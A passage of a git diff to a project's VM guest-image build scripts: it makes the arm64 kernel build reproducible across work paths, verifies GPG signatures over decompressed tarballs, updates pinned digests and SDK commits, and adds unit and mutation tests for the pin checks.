.tar.xz; run 39323466135 showed the xz stream does not verify).""" downloads = Path(downloads) gpg_verify(downloads / ARCHIVES["kernel"][1], kernel_tar, downloads / ARCHIVES["kernel"][2], {PINS["kernel"]["signerFingerprint"]}) - gpg_verify(downloads / ARCHIVES["toolchain"][1], downloads / ARCHIVES["toolchain"][0], downloads / ARCHIVES["toolchain"][2], + gpg_verify(downloads / ARCHIVES["toolchain"][1], toolchain_tar, downloads / ARCHIVES["toolchain"][2], {PINS["toolchain"]["signerFingerprint"], PINS["toolchain"]["primaryFingerprint"]}) @@ -163,22 +172,24 @@ def build(downloads, work, out): check_inputs(downloads) work.mkdir(parents=True) out.mkdir(parents=True) - tar = work / "linux-6.18.35.tar" - with open(tar, "wb") as handle: - subprocess.run(["xz", "-dc", str(downloads / ARCHIVES["kernel"][0])], check=True, stdout=handle) - verify_signatures(downloads, tar) + tar, llvm_tar = work / "linux-6.18.35.tar", work / "llvm-20.1.8-aarch64.tar" + for target, key in ((tar, "kernel"), (llvm_tar, "toolchain")): + with open(target, "wb") as handle: + subprocess.run(["xz", "-dc", str(downloads / ARCHIVES[key][0])], check=True, stdout=handle) + verify_signatures(downloads, tar, llvm_tar) source_root, llvm_root, output = work / "src", work / "llvm", work / "output" for folder in (source_root, llvm_root, output): folder.mkdir() subprocess.run(["tar", "-xf", str(tar), "-C", str(source_root)], check=True) tar.unlink() - subprocess.run(["tar", "-xJf", str(downloads / ARCHIVES["toolchain"][0]), "-C", str(llvm_root)], check=True) + subprocess.run(["tar", "-xf", str(llvm_tar), "-C", str(llvm_root)], check=True) + llvm_tar.unlink() source = source_root / "linux-6.18.35" llvm_bin = llvm_root / "llvm-20.1.8-aarch64" / "bin" if not source.is_dir() or not (llvm_bin / "clang").is_file(): raise ValueError("unexpected archive layout") (output / ".config").write_text(merge_config((HERE / PINS["baseConfig"]["file"]).read_text(), (HERE / PINS["fragment"]["file"]).read_text())) - env = build_environment(str(llvm_bin)) + env = build_environment(str(llvm_bin), work) commands = [rewrite_command(command, source, output, llvm_bin, CI["jobs"]) for command in PINS["commands"]] with open(out / "build.log", "w") as log: resolve_and_build(commands, source, output, env, log) diff --git a/scripts/cowork-guest-artifact/kernel/pins.json b/scripts/cowork-guest-artifact/kernel/pins.json index 1a4ef7160..55a8d7dde 100644 --- a/scripts/cowork-guest-artifact/kernel/pins.json +++ b/scripts/cowork-guest-artifact/kernel/pins.json @@ -1,6 +1,6 @@ { "formatVersion": 1, - "status": "pinned-unbuilt", + "status": "built-reproduced-unbooted", "decision": "D6 (recommended): a reproducible build from the cached Apple/Kata base config WITHOUT the crypto fragment. Nothing here was built, booted or run.", "kernel": { "version": "6.18.35", @@ -176,10 +176,10 @@ ], "afterBuildVerify": "Every requiredSymbols entry must resolve to exactly the stated value in the .config that olddefconfig writes (a silently dropped symbol is a failure, as in build_crypto.py verify_config), and every mustBeAbsentFromTheBuild symbol must be unset or n.", "expectedOutputs": { - "Image": null, - "vmlinux": null, - "resolvedConfig": null, - "note": "unbuilt: the first reviewed build records these" + "Image": "c8458d2956b1404d0bf0a314fd3fed9755cce7434c8c0e6166f22338067611dc", + "vmlinux": "3c2be456628b45026dcfbaca04a232914bb37acaafe8dcd3f1bb3c4bbb48646f", + "resolvedConfig": "d90bc753c0ba158e30732082ac06ded23d948111ce857ab8a5956bc3a5a9534e", + "note": "Pinned from image build 4 (run 39505255984): the two kernel builds ran under DIFFERENT work paths (winter-kernel-work and winter-kernel-work-b) and produced identical bytes, so the kernel is independent of its build path. Never booted: gate G1 is the first boot." }, "bootVerified": false, "observedInTheBase": { diff --git a/scripts/cowork-guest-artifact/kernel/test_kernel_pins.py b/scripts/cowork-guest-artifact/kernel/test_kernel_pins.py index a70df97eb..f7531a121 100644 --- a/scripts/cowork-guest-artifact/kernel/test_kernel_pins.py +++ b/scripts/cowork-guest-artifact/kernel/test_kernel_pins.py @@ -31,12 +31,11 @@ def effective_config(): class KernelPinTests(unittest.TestCase): - def test_it_is_pinned_unbuilt_and_claims_nothing_else(self): - self.assertEqual(PINS["status"], "pinned-unbuilt") + def test_it_is_built_and_reproduced_but_never_booted_and_claims_nothing_else(self): + self.assertEqual(PINS["status"], "built-reproduced-unbooted") self.assertFalse(PINS["bootVerified"]) - self.assertIsNone(PINS["expectedOutputs"]["Image"]) - self.assertIsNone(PINS["expectedOutputs"]["vmlinux"]) - self.assertIsNone(PINS["expectedOutputs"]["resolvedConfig"]) + for key in ("Image", "vmlinux", "resolvedConfig"): + self.assertRegex(PINS["expectedOutputs"][key], r"^[0-9a-f]{64}$") def test_the_base_config_and_fragment_are_the_pinned_bytes(self): self.assertEqual(sha(HERE / PINS["baseConfig"]["file"]), PINS["baseConfig"]["sha256"]) diff --git a/scripts/cowork-guest-artifact/kernel/test_native_build.py b/scripts/cowork-guest-artifact/kernel/test_native_build.py index a789b372e..1f5c2797a 100644 --- a/scripts/cowork-guest-artifact/kernel/test_native_build.py +++ b/scripts/cowork-guest-artifact/kernel/test_native_build.py @@ -1,7 +1,10 @@ """Offline checks of native_build.py's pure parts and of ci-build.json. Builds nothing, downloads nothing, needs no network.""" -import calendar, json, shutil, subprocess, tempfile, time, unittest +import calendar, json, shutil, subprocess, sys, tempfile, time, unittest from pathlib import Path +# Under `python3 -I` neither the script's folder nor the working directory is on sys.path: the sibling modules one level up (image_build_report) are reached by an explicit insert. +sys.path.insert(0, str(Path(__file__).resolve().parents[1])) + import native_build as nb from test_kernel_pins import PINS, HERE, effective_config, parse_config @@ -76,6 +79,42 @@ def test_the_environment_is_the_pinned_one_plus_the_two_values_the_recipe_left_o self.assertEqual(set(env) - set(PINS["environment"]), {"SOURCE_DATE_EPOCH", "KBUILD_BUILD_TIMESTAMP", "HOME"}) +class PathIndependenceTests(unittest.TestCase): + """The kernel must not carry the runner's work path: run 39471145301 differed from run 39406043639 only by the random work folder.""" + WORK = "/runner-temp/winter-kernel-work" + + def test_the_build_passes_file_debug_and_macro_prefix_maps_for_the_work_folder_to_c_and_assembly(self): + env = nb.build_environment("/w/llvm/bin", self.WORK) + for key in ("KCFLAGS", "KAFLAGS"): + self.assertEqual(env[key].split(), [f"-ffile-prefix-map={self.WORK}=.", f"-fdebug-prefix-map={self.WORK}=.", f"-fmacro-prefix-map={self.WORK}=."]) + + def test_the_identity_values_are_fixed_and_the_pinned_ones_are_unchanged(self): + env = nb.build_environment("/w/llvm/bin", self.WORK) + self.assertEqual((env["KBUILD_BUILD_USER"], env["KBUILD_BUILD_HOST"]), ("cowork-fixture", "isolated")) + self.assertEqual(env["KBUILD_BUILD_TIMESTAMP"], nb.CI["kbuildBuildTimestamp"]) + self.assertEqual(env["SOURCE_DATE_EPOCH"], nb.CI["sourceDateEpoch"]) + for key, value in PINS["environment"].items(): + if key != "PATH": + self.assertEqual(env[key], value) + + def test_the_build_function_hands_its_own_work_folder_to_the_environment(self): + import inspect + self.assertIn("build_environment(str(llvm_bin), work)", inspect.getsource(nb.build)) + + def test_the_workflow_builds_at_one_fixed_work_path(self): + text = (HERE.parents[2] / ".github/workflows/cowork-guest-image-build.yml").read_text() + self.assertIn('kernel_work="$RUNNER_TEMP/winter-kernel-work"', text) + + def test_the_two_kernel_builds_use_different_work_paths_and_must_still_agree_byte_for_byte(self): + text = (HERE.parents[2] / ".github/workflows/cowork-guest-image-build.yml").read_text() + self.assertIn('kernel_work_b="$RUNNER_TEMP/winter-kernel-work-b"', text) + self.assertIn('test "$kernel_work" != "$kernel_work_b"', text) + self.assertIn('--work "$kernel_work" --out "$IMAGE_WORK/kernel-1"', text) + self.assertIn('--work "$kernel_work_b" --out "$IMAGE_WORK/kernel-2"', text) + import image_build_report as ibr + self.assertIn("the two kernel builds differ", ibr.problems({"kernel": {"reproducible": False, "pinnedBefore": "0" * 64, "ImageSha256": "0" * 64}, "image": {"reproducible": True, "imageExitStatus": [0, 0], "pinsHold": {}}})) + + class CiBuildPinTests(unittest.TestCase): def test_the_open_environment_values_are_pinned_and_agree_with_each_other(self): ci = nb.CI @@ -89,9 +128,9 @@ def test_the_open_environment_values_are_pinned_and_agree_with_each_other(self): self.assertGreaterEqual(ci["jobs"], 1) self.assertEqual(ci["installedKernel"]["buildOutput"], "arch/arm64/boot/Image") - def test_the_recipe_stays_unbuilt_and_unverified_until_a_reviewed_run_fills_it(self): - self.assertEqual(PINS["status"], "pinned-unbuilt") - self.assertEqual(nb.CI["status"], "unrun") + def test_the_recipe_is_built_and_reproduced_once_and_still_unbooted(self): + self.assertEqual(PINS["status"], "built-reproduced-unbooted") + self.assertEqual(nb.CI["status"], "run-once-reproduced") self.assertFalse(PINS["bootVerified"]) def test_the_host_packages_are_build_tools_only(self): @@ -116,6 +155,13 @@ def verify(self, status, code, fingerprints): def test_a_valid_signature_by_the_pinned_signer_with_exit_zero_passes(self): self.verify("[GNUPG:] VALIDSIG " + "A" * 40 + " 2026-10-18 1 0 4 0 22 8 00 " + "B" * 40, 0, {"B" * 40}) + def test_the_signing_key_matches_field_0_and_the_primary_only_field_9_never_another_field(self): + self.verify("[GNUPG:] VALIDSIG " + "A" * 40 + " 2026-10-18 1 0 4 0 22 8 00 " + "B" * 40, 0, {"A" * 40}) + for line in ("[GNUPG:] VALIDSIG " + "A" * 40 + " " + "C" * 40 + " 1 0 4 0 22 8 00 " + "B" * 40, # pinned value in a middle field + "[GNUPG:] VALIDSIG " + "A" * 40 + " 2026-10-18 1 0 4 0 22 8 00"): # no primary field at all, so the last field is not one + with self.assertRaises(ValueError): + self.verify(line, 0, {"C" * 40} if "C" in line else {"00"}) + def test_a_nonzero_exit_is_a_refusal_even_if_the_status_line_looks_valid(self): with self.assertRaises(ValueError) as caught: self.verify("[GNUPG:] VALIDSIG " + "A" * 40 + " x x x x x x x x " + "B" * 40, 1, {"A" * 40}) @@ -216,16 +262,16 @@ def test_the_two_config_files_are_checked_against_their_pins_each_on_its_own(sel nb.PINS[key].clear() nb.PINS[key].update(value) - def test_signatures_are_verified_over_the_decompressed_tar_by_the_pinned_signers(self): + def test_both_signatures_are_verified_over_the_decompressed_tar_never_the_xz_by_the_pinned_signers(self): seen = [] original = nb.gpg_verify nb.gpg_verify = lambda signature, data, key, fingerprints, gpg="gpg": seen.append((Path(signature).name, Path(data).name, Path(key).name, set(fingerprints))) try: - nb.verify_signatures("/d", Path("/w/linux-6.18.35.tar")) + nb.verify_signatures("/d", Path("/w/linux-6.18.35.tar"), Path("/w/llvm-20.1.8-aarch64.tar")) finally: nb.gpg_verify = original self.assertEqual(seen[0], ("linux-6.18.35.tar.sign", "linux-6.18.35.tar", "gregkh.key", {PINS["kernel"]["signerFingerprint"]})) - self.assertEqual(seen[1], ("llvm-20.1.8-aarch64.tar.sign", "llvm-20.1.8-aarch64.tar.xz", "nathan.key", {PINS["toolchain"]["signerFingerprint"], PINS["toolchain"]["primaryFingerprint"]})) + self.assertEqual(seen[1], ("llvm-20.1.8-aarch64.tar.sign", "llvm-20.1.8-aarch64.tar", "nathan.key", {PINS["toolchain"]["signerFingerprint"], PINS["toolchain"]["primaryFingerprint"]})) class DigestTests(unittest.TestCase): @@ -283,6 +329,12 @@ def test_another_signer_is_refused_even_though_the_signature_is_valid(self): with self.assertRaises(ValueError): nb.gpg_verify(self.signature, self.data, self.key, {"0" * 40}) + def test_a_signature_over_the_tar_does_not_verify_over_its_xz_compression(self): + xz = Path(self.folder) / "data.xz" + xz.write_bytes(subprocess.run(["xz", "-c", str(self.data)], check=True, capture_output=True).stdout) + with self.assertRaises(ValueError): + nb.gpg_verify(self.signature, xz, self.key, {self.fingerprint}) + def test_changed_data_is_refused(self): other = Path(self.folder) / "other" other.write_bytes(b"payload!") diff --git a/scripts/cowork-guest-artifact/packages.py b/scripts/cowork-guest-artifact/packages.py index c5fe83c5b..cf633bf9b 100644 --- a/scripts/cowork-guest-artifact/packages.py +++ b/scripts/cowork-guest-artifact/packages.py @@ -76,6 +76,19 @@ def paragraphs(text): elif ': ' in line: key,value=line.split(': ',1); fields[key]=value if fields: yield fields +def release_signers(status, allowed): + """The pinned fingerprints that validly signed, from gpgv's --status-fd text: sorted and de-duplicated, so the lock does not depend on the gpg version, the signature order or the signing dates. + A signing key or its primary counts when it is pinned (VALIDSIG ). A BADSIG, or no pinned signer, refuses. + Signatures by keys that are not imported or not pinned do not invalidate a verified pinned signer.""" + found=set() + for line in status.splitlines(): + if not line.startswith('[GNUPG:] VALIDSIG '): continue + fields=line.split() + for candidate in (fields[2], fields[11] if len(fields)>11 else None): + if candidate in allowed: found.add(candidate) + if not found or '[GNUPG:] BADSIG ' in status: raise ValueError('release signature') + return sorted(found) + def verify_release(data, pins, cache): with tempfile.TemporaryDirectory(prefix='winter-image-gpg-') as folder: home=Path(folder); os.chmod(home,0o700) @@ -89,13 +102,10 @@ def verify_release(data, pins, cache): signed=home/'InRelease'; signed.write_bytes(data) result=subprocess.run(['gpgv','--homedir',str(home),'--keyring',str(home/'pubring.kbx'),'--status-fd','1',str(signed)],capture_output=True,text=True) (cache/'signature-status.log').write_text(result.stdout+'\n'+result.stderr) - allowed={k['fingerprint'] for k in pins['keys']} - valid=[line for line in result.stdout.splitlines() if line.startswith('[GNUPG:] VALIDSIG ')] - # Extra signatures without imported keys do not invalidate a verified allowed signer. - if not any(line.split()[-1] in allowed or line.split()[2] in allowed for line in valid) or '[GNUPG:] BADSIG ' in result.stdout: raise ValueError('release signature') + signers=release_signers(result.stdout,{k['fingerprint'] for k in pins['keys']}) clear=data.decode().split('\n\n',1)[1].split('-----BEGIN PGP SIGNATURE-----',1)[0] clear='\n'.join(line[2:] if line.startswith('- ') else line for line in clear.splitlines())+'\n' - return clear, valid + return clear, signers def order(char): if char=='~': return -1 diff --git a/scripts/cowork-guest-artifact/pins.json b/scripts/cowork-guest-artifact/pins.json index fa0402aca..83ccd3acc 100644 --- a/scripts/cowork-guest-artifact/pins.json +++ b/scripts/cowork-guest-artifact/pins.json @@ -1,7 +1,7 @@ { "formatVersion": 1, "snapshot": "20261011T000000Z", - "sdkCommit": "7e71929d0231be2d77645bfa47ee2b550f3add22", + "sdkCommit": "ec91fe06719d76e99bcdbdae8a6daaf690dfeb50", "bun": { "version": "1.3.14", "target": "bun-linux-arm64", @@ -64,36 +64,51 @@ "ca-certificates" ], "builderCommit": "180d3effd7ddbb9406aeea0912f76c78ef20cf75", - "packageLockSha256": "b0127b7a8f1fa2f8b2a06236cef26e1f1b297bacf9d70e800440df8747d93252", + "packageLockSha256": "c6eb4ea58479afc740e3f3b1286afd8e175c91a0876d7cdc8a66df07ca85755e", "expectedArtifact": { - "runtimeSha256": "c13918b426d62615640280df47d8e1b4602cddb486c20e4ce15942d635472217", - "cpioSha256": "90ac299e8dfbc023af1e02999d9fb30b10555fbd57f37da30a67020501f9a241", - "rootManifestSha256": "22d863cb4a370c3fa16eab99c0a28389b3d4c665560583e8445e857e74a201a4", + "runtimeSha256": "5f8d4102bfdde2f1361fb766b2d892f2c5475afce296cae1bc8da87572c0dcea", + "cpioSha256": "5207c9bb9f9ab1e4867b7dff143f19bac0c3bfcf974e6eca63483945a34b83bc", + "rootManifestSha256": "f86c1863a2a62881024dc67816a9f5f95228583e4a730fc0127771ac8f623f6a", "helperBinarySha256": { - "file-worker.c": "f26932e539aac05448de0ab6d346b5fb5fd653580a9d938ea2086cd82f6f29cc", + "file-worker.c": "7526bb029c0d336988fbe0b3d2b3dbcb7aba48e8d41448e80b93531d7d2f2f08", "linux-runtime-compartment.c": "40049e5cb751d720a20dc957aaabb66a8ab74710ad5039d8f26448139278534a", - "linux-session-owner.c": "0ca42e9f22fdccfb3a67b74434c5c4a34e225169e728fa1b495dd1d4fc49df42", - "linux-tool-compartment.c": "c0316ffc4fab7e0a5da2cc667dae583eff27ea3a636d011f0bec29a5185869cd", + "linux-session-owner.c": "8fd03dd4e5389f67db136026b092164d69af7fabf9a67eda364df26078559048", + "linux-tool-compartment.c": "071378c6f6a6727de5d30f4ef3434e3a71ecf0453b15eda6c20359bf91bba1c7", "process-worker.c": "f63d9212c01e60930a956a87806a7240ab8dd98ed9de9d2ac1bfbd6b2dd91a16" } }, "sdkPin": { "previousCommit": "39ba77ec333293cfcaabcf7eb29b4d7a58f24990", "intermediateCommits": [ - "093fb3ead915d967e8a01b358abdbcc39a76f447" + "093fb3ead915d967e8a01b358abdbcc39a76f447", + "7e71929d0231be2d77645bfa47ee2b550f3add22", + "f5612e4671b16a5fa2cb771e78a2dd6a6b0b4789", + "7511bbaedd734c7379bdafdc68c13027f60fe398", + "524ce04b033e0bcad1e06d97ab7cab7c36e7aa2d", + "52f275f0eaeeaa4c823796265fdb81c64fc7a435" ], - "mainAt": "7e71929d0231be2d77645bfa47ee2b550f3add22", + "mainAt": "ec91fe06719d76e99bcdbdae8a6daaf690dfeb50", "mergedPullRequests": [ 27, 28, 29, - 30 + 30, + 42, + 43, + 44, + 49, + 50, + 52 ], "contains": [ - "the supervisor change that accepts the relay's pipes (agent-sdk #30: --trusted-config-fd N [--runtime-ports-fds IN,OUT,ERR])" + "the supervisor change that accepts the relay's pipes (agent-sdk #30: --trusted-config-fd N [--runtime-ports-fds IN,OUT,ERR])", + "the guest-side work of the Cowork guest arc: #43 messaging, #44 cold resume, #42 browse (supervisor and session-owner library change; the launcher source is unchanged); 7511bbae is the v0.0.54 release commit on top (version strings only, no guest source change)", + "#49, the plan view (contract 3, 12.5): the supervisor admits /workspace/plan// writable under plan only and never an epoch below one already made, and the tool launcher mounts it writable for the file worker only (linux-supervisor.py and linux-tool-compartment.c change; the runtime launcher and owner library sources are unchanged)", + "#52, SH6b: the memory share /workspace/.winter/memory as a host-query tool root, and the tool launcher mounting the environment's etc/gitconfig read-only at /etc/gitconfig for the process worker (linux-supervisor.py and linux-tool-compartment.c change again); the environment image carries that file (environment.gitconfigSha256)", + "#50, the cold-resume owner patch (linux-session-owner.c changes: the session-owner library pin moves; the supervisor and the tool launcher are unchanged from #52)" ], - "supervisorSha256": "2c5be1e8b2cf30956ae14f3ca02224db52aeb4387c2eac22ceceb49a875ceaa8", - "note": "previousCommit is the last commit for which an artifact was built and pinned (previousExpectedArtifact). Both later pins (093fb3ea, then 7e71929d, SDK main with #27 to #30) are source-only: nothing was rebuilt, so expectedArtifact stays unpinned. The helper C sources and build-runtime inputs are identical between 093fb3ea and 7e71929d; only linux-supervisor.py (and tests, docs and the SDK package) changed. From the host-query runtime change on, the artifact is pinned again (expectedArtifact): the host-query runtime (launcher, owner library, executable) replaced the unused main-entry runtime, and the whole image rebuilt twice with identical digests." + "supervisorSha256": "7ecbdc1ef15eed6111ca180b67687f0be2cdf9e63e2573e0835401e633b0fc78", + "note": "previousCommit is the last commit for which an artifact was built and pinned (previousExpectedArtifact). Both later pins (093fb3ea, then 7e71929d, SDK main with #27 to #30) were source-only: nothing was rebuilt, so expectedArtifact stays unpinned. The helper C sources and build-runtime inputs are identical between 093fb3ea and 7e71929d; only linux-supervisor.py (and tests, docs and the SDK package) changed. From the host-query runtime change on, the artifact is pinned again (expectedArtifact): the host-query runtime (launcher, owner library, executable) replaced the unused main-entry runtime, and the whole image rebuilt twice with identical digests. Build 5 (SDK ec91fe06, the plan view, the shares and the environment gitconfig; two identical builds) repinned expectedArtifact, the owner library and the guest init and relay binaries; previousCommit stays 39ba77ec." }, "guest": { "target": "aarch64-linux-musl", @@ -101,16 +116,16 @@ "programs": { "init": { "binarySha256": "dede7fd9ddc9eb954c29cb989b689e059f6f3b223618c4f66a392f13aee6f498", - "sourceSha256": "231aeafe9276ff5251c5a92efdf522f807805aa3807b28d0f01247c1d597b913" + "sourceSha256": "8ab71797f549a3c399f1ae496eaad4d86be7bb30616b31fdb7a212f2227bfeae" }, "winter-guest-relay": { "binarySha256": "eed3a8f239060c6ca794229f32293384f27f9583acb9623c73de64e58c1efc45", - "sourceSha256": "a48cfea696d832294419dc274c065027c14c928aedc5170e7775ce31d0c8dadb" + "sourceSha256": "26234a4bb90861f2f067a75547fa6195e42af6e155a55ce685b06a3dfa7cf03a" } }, "scripts": { "guest_bootstrap.py": { - "sha256": "24c035e88771ff5efb010b6ac028e8815e4a932952e4c4bd875aef3f74909fc1" + "sha256": "6969ff0a155afb1d8d1d57113085d7af90aaacaf5e4c645fe073229d975588c8" } }, "scriptPaths": { @@ -141,17 +156,22 @@ }, "ownerLibrary": { "source": "linux-session-owner.c", - "sourceSha256": "c149d451eaa79442dfd41e9375c891ae8c9a06135d2cfc85851bcc8b5ce51fd8", + "sourceSha256": "7630cb1f2e9b76be78fb6fb0f0efb6df74d437b39f9e3db69ac8aacc83162372", "target": "aarch64-linux-gnu.2.36", "path": "/opt/winter/helpers/linux-session-owner.so", - "binarySha256": "0ca42e9f22fdccfb3a67b74434c5c4a34e225169e728fa1b495dd1d4fc49df42" + "binarySha256": "8fd03dd4e5389f67db136026b092164d69af7fabf9a67eda364df26078559048" }, "executable": { "entry": "scripts/guest-host-query/runtime.ts", "path": "/opt/winter/runtime/winter-host-query", - "sha256": "c13918b426d62615640280df47d8e1b4602cddb486c20e4ce15942d635472217" + "sha256": "5f8d4102bfdde2f1361fb766b2d892f2c5475afce296cae1bc8da87572c0dcea" } }, + "environment": { + "gitconfigPath": "environment/gitconfig", + "gitconfigSha256": "42e078d6df378e100d41707eaea7c1f6b2b2e26061cce8d9154f0e9a017fb1ab", + "note": "The environment image's fixed system gitconfig (agent-sdk SH6b mounts it read-only at /etc/gitconfig for the process worker). Safe defaults only: an empty git template directory, no hooks, no fsmonitor, no credential helper, no include; verify.check_gitconfig_text accepts exactly those settings." + }, "pnpm": { "version": "10.34.6", "url": "https://github.com/pnpm/pnpm/releases/download/v10.34.6/pnpm-linux-arm64", diff --git a/scripts/cowork-guest-artifact/sdk-supervisor-cli.json b/scripts/cowork-guest-artifact/sdk-supervisor-cli.json index b127e73d4..b580a89d8 100644 --- a/scripts/cowork-guest-artifact/sdk-supervisor-cli.json +++ b/scripts/cowork-guest-artifact/sdk-supervisor-cli.json @@ -1,8 +1,8 @@ { "note": "What the pinned SDK supervisor's parse_arguments does with each command line, derived by importing the pinned file (no root, nothing started) and calling it. PID 1's two command lines must be among the accepted ones. Regenerate with tests/regenerate when sdkCommit moves.", - "sdkCommit": "7e71929d0231be2d77645bfa47ee2b550f3add22", + "sdkCommit": "ec91fe06719d76e99bcdbdae8a6daaf690dfeb50", "supervisorPath": "packages/runtime/src/guest/linux-supervisor.py", - "supervisorSha256": "2c5be1e8b2cf30956ae14f3ca02224db52aeb4387c2eac22ceceb49a875ceaa8", + "supervisorSha256": "7ecbdc1ef15eed6111ca180b67687f0be2cdf9e63e2573e0835401e633b0fc78", "accepted": [ { "argv": [ diff --git a/scripts/cowork-guest-artifact/test_binary_pin_mutants.py b/scripts/cowork-guest-artifact/test_binary_pin_mutants.py new file mode 100644 index 000000000..0dadd5acb --- /dev/null +++ b/scripts/cowork-guest-artifact/test_binary_pin_mutants.py @@ -0,0 +1,75 @@ +"""Mutation checks of the guest binary pin rule: an explicit null `binarySha256` is UNPINNED (reported with the built digest, exit 3, never accepted), a set pin that differs is a hard +failure, a missing key is an error. Each mutant is one change to image.py or verify.py in a scratch copy of the artifact scripts and the guest tree, and the tests meant to hold the +rule must fail on it. A survivor means "treat a mismatch as unpinned" (or any other slip of that branch) would go unnoticed.""" +import shutil, subprocess, sys, tempfile, unittest +from pathlib import Path + +HERE = Path(__file__).resolve().parent +REPO = HERE.parents[1] + +IMAGE = ["test_image.py", "-k", "GuestBuildCheckTests", "-k", "null_init_pin", "-k", "wrongly_typed_init_or_relay", "-k", "relay_in_the_cpio"] +REPORT = ["test_image_build_tools.py", "-k", "both_guest_binary_digests"] + +MUTANTS = [ + # a set pin that differs is treated as unpinned (never raises), or an empty / falsy pin is + ("image.py", "if entry['binarySha256'] is not None and built['binarySha256']!=entry['binarySha256']:raise", "if False and built['binarySha256']!=entry['binarySha256']:raise", IMAGE), + ("image.py", "if entry['binarySha256'] is not None and built['binarySha256']!=entry['binarySha256']:raise", "if entry['binarySha256'] and built['binarySha256']!=entry['binarySha256']:raise", IMAGE), + ("image.py", "if entry['binarySha256'] is not None and built['binarySha256']!=entry['binarySha256']:raise", "if entry['binarySha256'] is None and built['binarySha256']!=entry['binarySha256']:raise", IMAGE), + # a null pin is refused as a mismatch + ("image.py", "if entry['binarySha256'] is not None and built['binarySha256']!=entry['binarySha256']:raise", "if built['binarySha256']!=entry['binarySha256']:raise", IMAGE), + # a missing key is let through + ("image.py", "if 'binarySha256' not in entry:raise", "if False:raise", IMAGE), + # the unpinned report + ("image.py", "if entry['binarySha256'] is None]", "if entry['binarySha256'] is not None]", IMAGE), + ("image.py", "if entry['binarySha256'] is None]", "if not entry['binarySha256']]", IMAGE), + ("image.py", "' binarySha256 is not pinned (built '+receipt['programs'][name]['binarySha256']+')'", "' binarySha256 is not pinned'", IMAGE), + ("image.py", "problems=check_expected(receipt,pins['expectedArtifact'])+lock_problems+guest_binary_problems(guest_receipt,pins)", "problems=check_expected(receipt,pins['expectedArtifact'])+lock_problems", IMAGE), + # the read-back + ("verify.py", "if not allow_unpinned:raise ValueError('the init binary is not pinned in pins.json (binarySha256 is null)')", "pass", IMAGE), + ("verify.py", " pinned_init=init_pins['binarySha256']\n if pinned_init is None:", " pinned_init=init_pins['binarySha256']\n if not pinned_init:", IMAGE), + ("verify.py", " pinned_relay=relay_pins['binarySha256']\n if pinned_relay is None:", " pinned_relay=relay_pins['binarySha256']\n if not pinned_relay:", IMAGE), + ("verify.py", "if not allow_unpinned:raise ValueError('the relay binary is not pinned in pins.json (binarySha256 is null)')", "pass", IMAGE), + ("verify.py", "init_pinned=False;pinned_init=receipt.get('initSha256')", "pinned_init=receipt.get('initSha256')", IMAGE), + ("verify.py", "relay_pinned=False;pinned_relay=receipt.get('relaySha256')", "pinned_relay=receipt.get('relaySha256')", IMAGE), + ("verify.py", "if 'binarySha256' not in init_pins:raise", "if False:raise", IMAGE), + ("verify.py", "if 'binarySha256' not in relay_pins:raise", "if False:raise", IMAGE), + ("verify.py", "if not isinstance(pinned_init,str) or not re.fullmatch(r'[0-9a-f]{64}',pinned_init):raise", "if False:raise", IMAGE), + ("verify.py", "if not isinstance(pinned_relay,str) or not re.fullmatch(r'[0-9a-f]{64}',pinned_relay):raise", "if False:raise", IMAGE), + ("verify.py", " or found['mode']!=0o555 or found['sha256']!=pinned_relay:raise", " or found['sha256']!=pinned_relay:raise", IMAGE), + ("verify.py", " or found['mode']!=0o555 or found['sha256']!=pinned_relay:raise", " or found['mode']!=0o555:raise", IMAGE), + ("verify.py", "if receipt.get('relaySha256')!=pinned_relay:raise", "if False:raise", IMAGE), + ("verify.py", "(pinned_relay is not None or RELAY_PATH in records or 'relaySha256' in receipt)", "(pinned_relay is not None or 'relaySha256' in receipt)", IMAGE), + # digests.json + ("image_build_report.py", '"initPinned": PINS["guest"]["programs"]["init"]["binarySha256"] == receipt["initSha256"]', '"initPinned": PINS["guest"]["programs"]["init"]["binarySha256"] is not None', REPORT), + ("image_build_report.py", '"relayPinned": PINS["guest"]["programs"]["winter-guest-relay"]["binarySha256"] == receipt["relaySha256"]', '"relayPinned": PINS["guest"]["programs"]["winter-guest-relay"]["binarySha256"] is not None', REPORT), + ("image_build_report.py", '"relaySha256": receipt["relaySha256"], ', '', REPORT), + ("image_build_report.py", 'if digests["image"].get(pinned) is False:', 'if False:', REPORT), +] + + +def run(mutant): + name, old, new, select = mutant + with tempfile.TemporaryDirectory() as folder: + root = Path(folder) + ignore = shutil.ignore_patterns("__pycache__") + shutil.copytree(HERE, root / "scripts/cowork-guest-artifact", ignore=ignore) + shutil.copytree(REPO / "apple/Cowork/WinterCoworkGuest", root / "apple/Cowork/WinterCoworkGuest", ignore=ignore) + path = root / "scripts/cowork-guest-artifact" / name + text = path.read_text() + if old not in text: + return "STALE" + path.write_text(text.replace(old, new, 1)) + result = subprocess.run([sys.executable, "-I", "-S", "-B", "-m", "unittest", "discover", "-s", str(root / "scripts/cowork-guest-artifact"), "-p", select[0], *select[1:]], + capture_output=True, text=True, timeout=300) + return "KILLED" if result.returncode != 0 else "SURVIVED" + + +class BinaryPinMutantTests(unittest.TestCase): + def test_every_mutant_is_caught(self): + for mutant in MUTANTS: + with self.subTest(file=mutant[0], old=mutant[1][:60], new=mutant[2][:40]): + self.assertEqual(run(mutant), "KILLED") + + +if __name__ == "__main__": + unittest.main() diff --git a/scripts/cowork-guest-artifact/test_bump_sdk_commit.py b/scripts/cowork-guest-artifact/test_bump_sdk_commit.py index d53a367c6..5c56250b3 100644 --- a/scripts/cowork-guest-artifact/test_bump_sdk_commit.py +++ b/scripts/cowork-guest-artifact/test_bump_sdk_commit.py @@ -8,6 +8,8 @@ PINS_TEXT = bump.PINS.read_text() WORKFLOW_TEXT = bump.WORKFLOW.read_text() +CLI_TEXT = bump.CLI.read_text() +README_TEXT = bump.README.read_text() NEW = "a" * 40 SUP = "b" * 64 @@ -57,5 +59,41 @@ def test_a_bumped_pair_is_again_consistent_and_a_second_bump_works(self): self.assertEqual(re.findall(r"AGENT_SDK_HEAD: '([0-9a-f]{40})'", again_workflow), ["d" * 40]) +class NothingSdkDerivedIsLeftStale(unittest.TestCase): + LAUNCHER, OWNER = "1" * 64, "2" * 64 + + def full(self, pins_text=PINS_TEXT, workflow=WORKFLOW_TEXT, cli=CLI_TEXT, readme=README_TEXT, commit=NEW): + return bump.bump(pins_text, workflow, commit, SUP, self.LAUNCHER, self.OWNER, cli, readme) + + def test_the_repository_has_no_stale_sdk_derived_pin(self): + self.assertEqual(bump.sdk_derived_problems(PINS_TEXT, WORKFLOW_TEXT, CLI_TEXT, README_TEXT), []) + + def 